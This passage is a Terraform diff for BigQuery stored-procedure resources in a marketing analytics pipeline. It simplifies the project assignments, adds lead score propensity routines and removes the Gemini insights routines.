"aggregated_value_based_bidding_explanation_preparation_file" # The procedure is typically invoked before running the Aggregated Value Based Bidding model to ensure that the input data # is in the correct format and contains the necessary features for explanation. resource "google_bigquery_routine" "aggregated_value_based_bidding_explanation_preparation" { - project = null_resource.check_bigquery_api.id != "" ? local.aggregated_vbb_project_id : local.feature_store_project_id - dataset_id = module.aggregated_vbb.bigquery_dataset.dataset_id - routine_id = "aggregated_value_based_bidding_explanation_preparation" - routine_type = "PROCEDURE" - language = "SQL" + project = local.aggregated_vbb_project_id + dataset_id = module.aggregated_vbb.bigquery_dataset.dataset_id + routine_id = "aggregated_value_based_bidding_explanation_preparation" + routine_type = "PROCEDURE" + language = "SQL" definition_body = data.local_file.aggregated_value_based_bidding_explanation_preparation_file.content - description = "Procedure that prepares features for Aggregated VBB model explanation." + description = "Procedure that prepares features for Aggregated VBB model explanation." } # This resource reads the contents of a local SQL file named auto_audience_segmentation_inference_preparation.sql and @@ -101,7 +101,7 @@ data "local_file" "auto_audience_segmentation_inference_preparation_file" { # The procedure is typically invoked before running the Auto Audience Segmentation model to ensure that the input data # is in the correct format and contains the necessary features for prediction. resource "google_bigquery_routine" "auto_audience_segmentation_inference_preparation" { - project = null_resource.check_bigquery_api.id != "" ? local.audience_segmentation_project_id : local.feature_store_project_id + project = local.audience_segmentation_project_id dataset_id = google_bigquery_dataset.auto_audience_segmentation.dataset_id routine_id = "auto_audience_segmentation_inference_preparation" routine_type = "PROCEDURE" @@ -128,7 +128,7 @@ data "local_file" "audience_segmentation_training_preparation_file" { # The procedure is typically invoked before running the Audience Segmentation model to ensure that the input data # is in the correct format and contains the necessary features for training. resource "google_bigquery_routine" "audience_segmentation_training_preparation" { - project = null_resource.check_bigquery_api.id != "" ? local.audience_segmentation_project_id : local.feature_store_project_id + project = local.audience_segmentation_project_id dataset_id = google_bigquery_dataset.audience_segmentation.dataset_id routine_id = "audience_segmentation_training_preparation" routine_type = "PROCEDURE" @@ -170,7 +170,7 @@ data "local_file" "auto_audience_segmentation_training_preparation_file" { # The procedure is typically invoked before running the Auto Audience Segmentation model to ensure that the input data # is in the correct format and contains the necessary features for training. resource "google_bigquery_routine" "auto_audience_segmentation_training_preparation" { - project = null_resource.check_bigquery_api.id != "" ? local.auto_audience_segmentation_project_id : local.feature_store_project_id + project = local.auto_audience_segmentation_project_id dataset_id = google_bigquery_dataset.auto_audience_segmentation.dataset_id routine_id = "auto_audience_segmentation_training_preparation" routine_type = "PROCEDURE" @@ -207,7 +207,7 @@ data "local_file" "customer_lifetime_value_inference_preparation_file" { # The procedure is typically invoked before running the Customer Lifetime Value model to ensure that the input data # is in the correct format and contains the necessary features for prediction. resource "google_bigquery_routine" "customer_lifetime_value_inference_preparation" { - project = null_resource.check_bigquery_api.id != "" ? local.customer_lifetime_value_project_id : local.feature_store_project_id + project = local.customer_lifetime_value_project_id dataset_id = google_bigquery_dataset.customer_lifetime_value.dataset_id routine_id = "customer_lifetime_value_inference_preparation" routine_type = "PROCEDURE" @@ -233,7 +233,7 @@ data "local_file" "customer_lifetime_value_label_file" { # The procedure is typically invoked before training the Customer Lifetime Value model to ensure that the labeled data # is in the correct format and ready for training. resource "google_bigquery_routine" "customer_lifetime_value_label" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "customer_lifetime_value_label" routine_type = "PROCEDURE" @@ -269,7 +269,7 @@ data "local_file" "customer_lifetime_value_training_preparation_file" { # The procedure is typically invoked before training the Customer Lifetime Value model to ensure that the features data # is in the correct format and contains the necessary features for training. resource "google_bigquery_routine" "customer_lifetime_value_training_preparation" { - project = null_resource.check_bigquery_api.id != "" ? local.customer_lifetime_value_project_id : local.feature_store_project_id + project = local.customer_lifetime_value_project_id dataset_id = google_bigquery_dataset.customer_lifetime_value.dataset_id routine_id = "customer_lifetime_value_training_preparation" routine_type = "PROCEDURE" @@ -310,7 +310,7 @@ data "local_file" "purchase_propensity_inference_preparation_file" { # The procedure is typically invoked before prediction the Purchase Propensity model to ensure that the features data # is in the correct format and contains the necessary features for prediction. resource "google_bigquery_routine" "purchase_propensity_inference_preparation" { - project = null_resource.check_bigquery_api.id != "" ? local.purchase_propensity_project_id : local.feature_store_project_id + project = local.purchase_propensity_project_id dataset_id = google_bigquery_dataset.purchase_propensity.dataset_id routine_id = "purchase_propensity_inference_preparation" routine_type = "PROCEDURE" @@ -336,7 +336,7 @@ data "local_file" "churn_propensity_inference_preparation_file" { # The procedure is typically invoked before prediction the Churn Propensity model to ensure that the features data # is in the correct format and contains the necessary features for prediction. resource "google_bigquery_routine" "churn_propensity_inference_preparation" { - project = null_resource.check_bigquery_api.id != "" ? local.churn_propensity_project_id : local.feature_store_project_id + project = local.churn_propensity_project_id dataset_id = google_bigquery_dataset.churn_propensity.dataset_id routine_id = "churn_propensity_inference_preparation" routine_type = "PROCEDURE" @@ -350,6 +350,32 @@ resource "google_bigquery_routine" "churn_propensity_inference_preparation" { } } +# This resource reads the contents of a local SQL file named lead_score_propensity_inference_preparation.sql and +# stores it in a variable named lead_score_propensity_inference_preparation_file.content. +# The SQL file is expected to contain the definition of a BigQuery procedure named lead_score_propensity_inference_preparation. +data "local_file" "lead_score_propensity_inference_preparation_file" { + filename = "${local.sql_dir}/procedure/lead_score_propensity_inference_preparation.sql" +} + +# The lead_score_propensity_inference_preparation procedure is designed to prepare features for the Lead Score Propensity model. +# ## +# The procedure is typically invoked before prediction the Lead Score Propensity model to ensure that the features data +# is in the correct format and contains the necessary features for prediction. +resource "google_bigquery_routine" "lead_score_propensity_inference_preparation" { + project = local.lead_score_propensity_project_id + dataset_id = google_bigquery_dataset.lead_score_propensity.dataset_id + routine_id = "lead_score_propensity_inference_preparation" + routine_type = "PROCEDURE" + language = "SQL" + definition_body = data.local_file.lead_score_propensity_inference_preparation_file.content + description = "Procedure that prepares features for Lead Score Propensity model inference. User-per-day granularity level features. Run this procedure every time before Lead Score Propensity model predict." + arguments { + name = "inference_date" + mode = "INOUT" + data_type = jsonencode({ "typeKind" : "DATE" }) + } +} + # This resource reads the contents of a local SQL file named purchase_propensity_label.sql and # stores it in a variable named purchase_propensity_label_file.content. # The SQL file is expected to contain the definition of a BigQuery procedure named purchase_propensity_label. @@ -362,7 +388,7 @@ data "local_file" "purchase_propensity_label_file" { # The procedure is typically invoked before training the Purchase Propensity model to ensure that the labeled data # is in the correct format and ready for training. resource "google_bigquery_routine" "purchase_propensity_label" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "purchase_propensity_label" routine_type = "PROCEDURE" @@ -398,7 +424,7 @@ data "local_file" "churn_propensity_label_file" { # The procedure is typically invoked before training the Churn Propensity model to ensure that the labeled data # is in the correct format and ready for training. resource "google_bigquery_routine" "churn_propensity_label" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "churn_propensity_label" routine_type = "PROCEDURE" @@ -422,6 +448,42 @@ resource "google_bigquery_routine" "churn_propensity_label" { } } +# This resource reads the contents of a local SQL file named lead_score_propensity_label.sql and +# stores it in a variable named lead_score_propensity_label_file.content. +# The SQL file is expected to contain the definition of a BigQuery procedure named lead_score_propensity_label. +data "local_file" "lead_score_propensity_label_file" { + filename = "${local.sql_dir}/procedure/lead_score_propensity_label.sql" +} + +# The lead_score_propensity_label procedure is designed to prepare label for the Lead Score Propensity model. +# ## +# The procedure is typically invoked before training the Lead Score Propensity model to ensure that the labeled data +# is in the correct format and ready for training. +resource "google_bigquery_routine" "lead_score_propensity_label" { + project = local.feature_store_project_id + dataset_id = google_bigquery_dataset.feature_store.dataset_id + routine_id = "lead_score_propensity_label" + routine_type = "PROCEDURE" + language = "SQL" + definition_body = data.local_file.lead_score_propensity_label_file.content + description = "User-per-day granularity level labels. Run this procedure daily." + arguments { + name = "input_date" + mode = "INOUT" + data_type = jsonencode({ "typeKind" : "DATE" }) + } + arguments { + name = "end_date" + mode = "INOUT" + data_type = jsonencode({ "typeKind" : "DATE" }) + } + arguments { + name = "rows_added" + mode = "OUT" + data_type = jsonencode({ "typeKind" : "INT64" }) + } +} + # This resource reads the contents of a local SQL file named purchase_propensity_training_preparation.sql and # stores it in a variable named purchase_propensity_training_preparation_file.content. # The SQL file is expected to contain the definition of a BigQuery procedure named purchase_propensity_training_preparation. @@ -434,7 +496,7 @@ data "local_file" "purchase_propensity_training_preparation_file" { # The procedure is typically invoked before training the Purchase Propensity model to ensure that the features data # is in the correct format and contains the necessary features for training. resource "google_bigquery_routine" "purchase_propensity_training_preparation" { - project = null_resource.check_bigquery_api.id != "" ? local.purchase_propensity_project_id : local.feature_store_project_id + project = local.purchase_propensity_project_id dataset_id = google_bigquery_dataset.purchase_propensity.dataset_id routine_id = "purchase_propensity_training_preparation" routine_type = "PROCEDURE" @@ -463,6 +525,46 @@ resource "google_bigquery_routine" "purchase_propensity_training_preparation" { } } +# This resource reads the contents of a local SQL file named lead_score_propensity_training_preparation.sql and +# stores it in a variable named lead_score_propensity_training_preparation_file.content. +# The SQL file is expected to contain the definition of a BigQuery procedure named lead_score_propensity_training_preparation. +data "local_file" "lead_score_propensity_training_preparation_file" { + filename = "${local.sql_dir}/procedure/lead_score_propensity_training_preparation.sql" +} + +# The lead_score_propensity_training_preparation procedure is designed to prepare features for the Lead Score Propensity model. +# ## +# The procedure is typically invoked before training the Lead Score Propensity model to ensure that the features data +# is in the correct format and contains the necessary features for training. +resource "google_bigquery_routine" "lead_score_propensity_training_preparation" { + project = local.lead_score_propensity_project_id + dataset_id = google_bigquery_dataset.lead_score_propensity.dataset_id + routine_id = "lead_score_propensity_training_preparation" + routine_type = "PROCEDURE" + language = "SQL" + definition_body = data.local_file.lead_score_propensity_training_preparation_file.content + description = "Procedure that prepares features for Lead Score Propensity model training. User-per-day granularity level features. Run this procedure every time before Lead Score Propensity model train." + arguments { + name = "start_date" + mode = "INOUT" + data_type = jsonencode({ "typeKind" : "DATE" }) + } + arguments { + name = "end_date" + mode = "INOUT" + data_type = jsonencode({ "typeKind" : "DATE" }) + } + arguments { + name = "train_split_end_number" + mode = "INOUT" + data_type = jsonencode({ "typeKind" : "INT64" }) + } + arguments { + name = "validation_split_end_number" + mode = "INOUT" + data_type = jsonencode({ "typeKind" : "INT64" }) + } +} # This resource reads the contents of a local SQL file named churn_propensity_training_preparation.sql and # stores it in a variable named churn_propensity_training_preparation_file.content. @@ -476,7 +578,7 @@ data "local_file" "churn_propensity_training_preparation_file" { # The procedure is typically invoked before training the Churn Propensity model to ensure that the features data # is in the correct format and contains the necessary features for training. resource "google_bigquery_routine" "churn_propensity_training_preparation" { - project = null_resource.check_bigquery_api.id != "" ? local.churn_propensity_project_id : local.feature_store_project_id + project = local.churn_propensity_project_id dataset_id = google_bigquery_dataset.churn_propensity.dataset_id routine_id = "churn_propensity_training_preparation" routine_type = "PROCEDURE" @@ -517,7 +619,7 @@ data "local_file" "user_dimensions_file" { # The procedure is typically invoked before training the Purchase Propensity model to ensure that the features data # is in the correct format and ready for training. resource "google_bigquery_routine" "user_dimensions" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "user_dimensions" routine_type = "PROCEDURE" @@ -553,7 +655,7 @@ data "local_file" "user_lifetime_dimensions_file" { # The procedure is typically invoked before training the Customer Lifetime Value model to ensure that the features data # is in the correct format and ready for training. resource "google_bigquery_routine" "user_lifetime_dimensions" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "user_lifetime_dimensions" routine_type = "PROCEDURE" @@ -589,7 +691,7 @@ data "local_file" "user_lookback_metrics_file" { # The procedure is typically invoked before training the Audience Segmentation model to ensure that the features data # is in the correct format and ready for training. resource "google_bigquery_routine" "user_lookback_metrics" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "user_lookback_metrics" routine_type = "PROCEDURE" @@ -625,7 +727,7 @@ data "local_file" "user_rolling_window_lifetime_metrics_file" { # The procedure is typically invoked before training the Customer Lifetime Value model to ensure that the features data # is in the correct format and ready for training. resource "google_bigquery_routine" "user_rolling_window_lifetime_metrics" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "user_rolling_window_lifetime_metrics" routine_type = "PROCEDURE" @@ -661,7 +763,7 @@ data "local_file" "user_rolling_window_metrics_file" { # The procedure is typically invoked before training the Purchase Propensity model to ensure that the features data # is in the correct format and ready for training. resource "google_bigquery_routine" "user_rolling_window_metrics" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "user_rolling_window_metrics" routine_type = "PROCEDURE" @@ -685,6 +787,42 @@ resource "google_bigquery_routine" "user_rolling_window_metrics" { } } +# This resource reads the contents of a local SQL file named user_rolling_window_lead_metrics.sql and +# stores it in a variable named user_rolling_window_lead_metrics_file.content. +# The SQL file is expected to contain the definition of a BigQuery procedure named user_rolling_window_lead_metrics. +data "local_file" "user_rolling_window_lead_metrics_file" { + filename = "${local.sql_dir}/procedure/user_rolling_window_lead_metrics.sql" +} + +# The user_rolling_window_lead_metrics procedure is designed to prepare the features for the Purchase Propensity model. +# ## +# The procedure is typically invoked before training the Purchase Propensity model to ensure that the features data +# is in the correct format and ready for training. +resource "google_bigquery_routine" "user_rolling_window_lead_metrics" { + project = local.feature_store_project_id + dataset_id = google_bigquery_dataset.feature_store.dataset_id + routine_id = "user_rolling_window_lead_metrics" + routine_type = "PROCEDURE" + language = "SQL" + definition_body = data.local_file.user_rolling_window_lead_metrics_file.content + description = "User-per-day granularity level metrics. Run this procedure daily. Metrics calculated using a rolling window operation." + arguments { + name = "input_date" + mode = "INOUT" + data_type = jsonencode({ "typeKind" : "DATE" }) + } + arguments { + name = "end_date" + mode = "INOUT" + data_type = jsonencode({ "typeKind" : "DATE" }) + } + arguments { + name = "rows_added" + mode = "OUT" + data_type = jsonencode({ "typeKind" : "INT64" }) + } +} + # This resource reads the contents of a local SQL file named user_scoped_lifetime_metrics.sql data "local_file" "user_scoped_lifetime_metrics_file" { filename = "${local.sql_dir}/procedure/user_scoped_lifetime_metrics.sql" @@ -692,7 +830,7 @@ data "local_file" "user_scoped_lifetime_metrics_file" { # The user_rolling_window_metrics procedure is designed to prepare the features for the Customer Lifetime Value model. resource "google_bigquery_routine" "user_scoped_lifetime_metrics" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "user_scoped_lifetime_metrics" routine_type = "PROCEDURE" @@ -723,7 +861,7 @@ data "local_file" "user_scoped_metrics_file" { # The user_scoped_metrics procedure is designed to prepare the features for the Purchase Propensity model. resource "google_bigquery_routine" "user_scoped_metrics" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "user_scoped_metrics" routine_type = "PROCEDURE" @@ -754,7 +892,7 @@ data "local_file" "user_scoped_segmentation_metrics_file" { # The user_scoped_segmentation_metrics procedure is designed to prepare the features for the Audience Segmentation model. resource "google_bigquery_routine" "user_scoped_segmentation_metrics" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "user_scoped_segmentation_metrics" routine_type = "PROCEDURE" @@ -785,7 +923,7 @@ data "local_file" "user_segmentation_dimensions_file" { # The user_segmentation_dimensions procedure is designed to prepare the features for the Audience Segmentation model. resource "google_bigquery_routine" "user_segmentation_dimensions" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "user_segmentation_dimensions" routine_type = "PROCEDURE" @@ -816,7 +954,7 @@ data "local_file" "user_session_event_aggregated_metrics_file" { # The user_session_event_aggregated_metrics procedure is designed to prepare the features for the Purchase Propensity model. resource "google_bigquery_routine" "user_session_event_aggregated_metrics" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "user_session_event_aggregated_metrics" routine_type = "PROCEDURE" @@ -847,7 +985,7 @@ data "local_file" "aggregate_predictions_procedure_file" { # The aggregate_last_day_predictions procedure is designed to aggregated the latest predictions from all models. resource "google_bigquery_routine" "aggregate_last_day_predictions" { - project = null_resource.check_bigquery_api.id != "" ? local.aggregate_predictions_project_id : local.feature_store_project_id + project = local.aggregate_predictions_project_id dataset_id = module.aggregated_predictions.bigquery_dataset.dataset_id routine_id = "aggregate_last_day_predictions" routine_type = "PROCEDURE" @@ -855,33 +993,6 @@ resource "google_bigquery_routine" "aggregate_last_day_predictions" { definition_body = data.local_file.aggregate_predictions_procedure_file.content } -# This resource reads the contents of a local SQL file named user_behaviour_revenue_insights.sql and -# stores it in a variable named user_behaviour_revenue_insights_file.content. -# The SQL file is expected to contain the definition of a BigQuery procedure named user_behaviour_revenue_insights. -data "local_file" "user_behaviour_revenue_insights_file" { - filename = "${local.sql_dir}/procedure/user_behaviour_revenue_insights.sql" -} - -# The user_behaviour_revenue_insights procedure is designed to generate gemini insights. -resource "google_bigquery_routine" "user_behaviour_revenue_insights" { - project = null_resource.check_bigquery_api.id != "" ? local.gemini_insights_project_id : local.feature_store_project_id - dataset_id = local.config_bigquery.dataset.gemini_insights.name - routine_id = "user_behaviour_revenue_insights" - routine_type = "PROCEDURE" - language = "SQL" - definition_body = data.local_file.user_behaviour_revenue_insights_file.content - description = "Procedure that generates gemini insights for . Daily granularity level. Run this procedure every day before consuming gemini insights on the Looker Dahboard." - arguments { - name = "input_date" - mode = "INOUT" - data_type = jsonencode({ "typeKind" : "DATE" }) - } - - depends_on = [ - null_resource.check_gemini_model_exists - ] -} - /* *Including the backfill routines */ @@ -893,7 +1004,7 @@ data "local_file" "invoke_backfill_customer_lifetime_value_label_file" { # The invoke_backfill_customer_lifetime_value_label procedure is designed to invoke the backfill query for customer_lifetime_value_label. resource "google_bigquery_routine" "invoke_backfill_customer_lifetime_value_label" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "invoke_backfill_customer_lifetime_value_label" routine_type = "PROCEDURE" @@ -907,7 +1018,7 @@ data "local_file" "invoke_backfill_purchase_propensity_label_file" { } resource "google_bigquery_routine" "invoke_backfill_purchase_propensity_label" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "invoke_backfill_purchase_propensity_label" routine_type = "PROCEDURE" @@ -921,7 +1032,7 @@ data "local_file" "invoke_backfill_churn_propensity_label_file" { } resource "google_bigquery_routine" "invoke_backfill_churn_propensity_label" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "invoke_backfill_churn_propensity_label" routine_type = "PROCEDURE" @@ -930,12 +1041,26 @@ resource "google_bigquery_routine" "invoke_backfill_churn_propensity_label" { description = "Procedure that backfills the churn_propensity_label feature table. Run this procedure occasionally before training the models." } +data "local_file" "invoke_backfill_lead_score_propensity_label_file" { + filename = "${local.sql_dir}/query/invoke_backfill_lead_score_propensity_label.sql" +} + +resource "google_bigquery_routine" "invoke_backfill_lead_score_propensity_label" { + project = local.feature_store_project_id + dataset_id = google_bigquery_dataset.feature_store.dataset_id + routine_id = "invoke_backfill_lead_score_propensity_label" + routine_type = "PROCEDURE" + language = "SQL" + definition_body = data.local_file.invoke_backfill_lead_score_propensity_label_file.content + description = "Procedure that backfills the lead_score_propensity_label feature table. Run this procedure occasionally before training the models." +} + data "local_file" "invoke_backfill_user_dimensions_file" { filename = "${local.sql_dir}/query/invoke_backfill_user_dimensions.sql" } resource "google_bigquery_routine" "invoke_backfill_user_dimensions" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "invoke_backfill_user_dimensions" routine_type = "PROCEDURE" @@ -949,7 +1074,7 @@ data "local_file" "invoke_backfill_user_lifetime_dimensions_file" { } resource "google_bigquery_routine" "invoke_backfill_user_lifetime_dimensions" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "invoke_backfill_user_lifetime_dimensions" routine_type = "PROCEDURE" @@ -964,7 +1089,7 @@ data "local_file" "invoke_backfill_user_lookback_metrics_file" { } resource "google_bigquery_routine" "invoke_backfill_user_lookback_metrics" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "invoke_backfill_user_lookback_metrics" routine_type = "PROCEDURE" @@ -979,7 +1104,7 @@ data "local_file" "invoke_backfill_user_rolling_window_lifetime_metrics_file" { } resource "google_bigquery_routine" "invoke_backfill_user_rolling_window_lifetime_metrics" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "invoke_backfill_user_rolling_window_lifetime_metrics" routine_type = "PROCEDURE" @@ -994,7 +1119,7 @@ data "local_file" "invoke_backfill_user_rolling_window_metrics_file" { } resource "google_bigquery_routine" "invoke_backfill_user_rolling_window_metrics" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "invoke_backfill_user_rolling_window_metrics" routine_type = "PROCEDURE" @@ -1003,13 +1128,27 @@ resource "google_bigquery_routine" "invoke_backfill_user_rolling_window_metrics" description = "Procedure that backfills the user_rolling_window_metrics feature table. Run this procedure occasionally before training the models." } +data "local_file" "invoke_backfill_user_rolling_window_lead_metrics_file" { + filename = "${local.sql_dir}/query/invoke_backfill_user_rolling_window_lead_metrics.sql" +} + +resource "google_bigquery_routine" "invoke_backfill_user_rolling_window_lead_metrics" { + project = local.feature_store_project_id + dataset_id = google_bigquery_dataset.feature_store.dataset_id + routine_id = "invoke_backfill_user_rolling_window_lead_metrics" + routine_type = "PROCEDURE" + language = "SQL" + definition_body = data.local_file.invoke_backfill_user_rolling_window_lead_metrics_file.content + description = "Procedure that backfills the user_rolling_window_lead_metrics feature table. Run this procedure occasionally before training the models." +} + data "local_file" "invoke_backfill_user_scoped_lifetime_metrics_file" { filename = "${local.sql_dir}/query/invoke_backfill_user_scoped_lifetime_metrics.sql" } resource "google_bigquery_routine" "invoke_backfill_user_scoped_lifetime_metrics" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "invoke_backfill_user_scoped_lifetime_metrics" routine_type = "PROCEDURE" @@ -1023,7 +1162,7 @@ data "local_file" "invoke_backfill_user_scoped_metrics_file" { } resource "google_bigquery_routine" "invoke_backfill_user_scoped_metrics" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "invoke_backfill_user_scoped_metrics" routine_type = "PROCEDURE" @@ -1037,7 +1176,7 @@ data "local_file" "invoke_backfill_user_scoped_segmentation_metrics_file" { } resource "google_bigquery_routine" "invoke_backfill_user_scoped_segmentation_metrics" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "invoke_backfill_user_scoped_segmentation_metrics" routine_type = "PROCEDURE" @@ -1051,7 +1190,7 @@ data "local_file" "invoke_backfill_user_segmentation_dimensions_file" { } resource "google_bigquery_routine" "invoke_backfill_user_segmentation_dimensions" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "invoke_backfill_user_segmentation_dimensions" routine_type = "PROCEDURE" @@ -1065,7 +1204,7 @@ data "local_file" "invoke_backfill_user_session_event_aggregated_metrics_file" { } resource "google_bigquery_routine" "invoke_backfill_user_session_event_aggregated_metrics" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "invoke_backfill_user_session_event_aggregated_metrics" routine_type = "PROCEDURE" @@ -1074,25 +1213,6 @@ resource "google_bigquery_routine" "invoke_backfill_user_session_event_aggregate description = "Procedure that backfills the user_session_event_aggregated_metrics feature table. Run this procedure occasionally before training the models." } -data "local_file" "invoke_backfill_user_behaviour_revenue_insights_file" { - filename = "${local.sql_dir}/query/invoke_backfill_user_behaviour_revenue_insights.sql" -} - -resource "google_bigquery_routine" "invoke_backfill_user_behaviour_revenue_insights" { - project = null_resource.check_gemini_model_exists.id != "" ? local.gemini_insights_project_id : local.feature_store_project_id - dataset_id = local.config_bigquery.dataset.gemini_insights.name - routine_id = "invoke_backfill_user_behaviour_revenue_insights" - routine_type = "PROCEDURE" - language = "SQL" - definition_body = data.local_file.invoke_backfill_user_behaviour_revenue_insights_file.content - description = "Procedure that backfills the user_behaviour_revenue_insights table with gemini insights. Daily granularity level. Run this procedure occasionally before consuming gemini insights on the Looker Dahboard." - - depends_on = [ - null_resource.check_gemini_model_exists, - null_resource.create_gemini_model - ] -} - /* *Including the Inference, Training and Explanation routines */ @@ -1103,7 +1223,7 @@ data "local_file" "invoke_customer_lifetime_value_inference_preparation_file" { } resource "google_bigquery_routine" "invoke_customer_lifetime_value_inference_preparation" { - project = null_resource.check_bigquery_api.id != "" ? local.customer_lifetime_value_project_id : local.feature_store_project_id + project = local.customer_lifetime_value_project_id dataset_id = google_bigquery_dataset.customer_lifetime_value.dataset_id routine_id = "invoke_customer_lifetime_value_inference_preparation" routine_type = "PROCEDURE" @@ -1117,7 +1237,7 @@ data "local_file" "invoke_purchase_propensity_inference_preparation_file" { } resource "google_bigquery_routine" "invoke_purchase_propensity_inference_preparation" { - project = null_resource.check_bigquery_api.id != "" ? local.purchase_propensity_project_id : local.feature_store_project_id + project = local.purchase_propensity_project_id dataset_id = google_bigquery_dataset.purchase_propensity.dataset_id routine_id = "invoke_purchase_propensity_inference_preparation" routine_type = "PROCEDURE" @@ -1131,7 +1251,7 @@ data "local_file" "invoke_churn_propensity_inference_preparation_file" { } resource "google_bigquery_routine" "invoke_churn_propensity_inference_preparation" { - project = null_resource.check_bigquery_api.id != "" ? local.churn_propensity_project_id : local.feature_store_project_id + project = local.churn_propensity_project_id dataset_id = google_bigquery_dataset.churn_propensity.dataset_id routine_id = "invoke_churn_propensity_inference_preparation" routine_type = "PROCEDURE" @@ -1139,13 +1259,26 @@ resource "google_bigquery_routine" "invoke_churn_propensity_inference_preparatio definition_body = data.local_file.invoke_churn_propensity_inference_preparation_file.content } +data "local_file" "invoke_lead_score_propensity_inference_preparation_file" { + filename = "${local.sql_dir}/query/invoke_lead_score_propensity_inference_preparation.sql" +} + +resource "google_bigquery_routine" "invoke_lead_score_propensity_inference_preparation" { + project = local.lead_score_propensity_project_id + dataset_id = google_bigquery_dataset.lead_score_propensity.dataset_id + routine_id = "invoke_lead_score_propensity_inference_preparation" + routine_type = "PROCEDURE" + language = "SQL" + definition_body = data.local_file.invoke_lead_score_propensity_inference_preparation_file.content +} + data "local_file" "invoke_audience_segmentation_inference_preparation_file" { filename = "${local.sql_dir}/query/invoke_audience_segmentation_inference_preparation.sql" } resource "google_bigquery_routine" "invoke_audience_segmentation_inference_preparation" { - project = null_resource.check_bigquery_api.id != "" ? local.audience_segmentation_project_id : local.feature_store_project_id + project = local.audience_segmentation_project_id dataset_id = google_bigquery_dataset.audience_segmentation.dataset_id routine_id = "invoke_audience_segmentation_inference_preparation" routine_type = "PROCEDURE" @@ -1158,7 +1291,7 @@ data "local_file" "invoke_auto_audience_segmentation_inference_preparation_file" } resource "google_bigquery_routine" "invoke_auto_audience_segmentation_inference_preparation" { - project = null_resource.check_bigquery_api.id != "" ? local.auto_audience_segmentation_project_id : local.feature_store_project_id + project = local.auto_audience_segmentation_project_id dataset_id = google_bigquery_dataset.auto_audience_segmentation.dataset_id routine_id = "invoke_auto_audience_segmentation_inference_preparation" routine_type = "PROCEDURE" @@ -1171,7 +1304,7 @@ data "local_file" "invoke_auto_audience_segmentation_training_preparation_file" } resource "google_bigquery_routine" 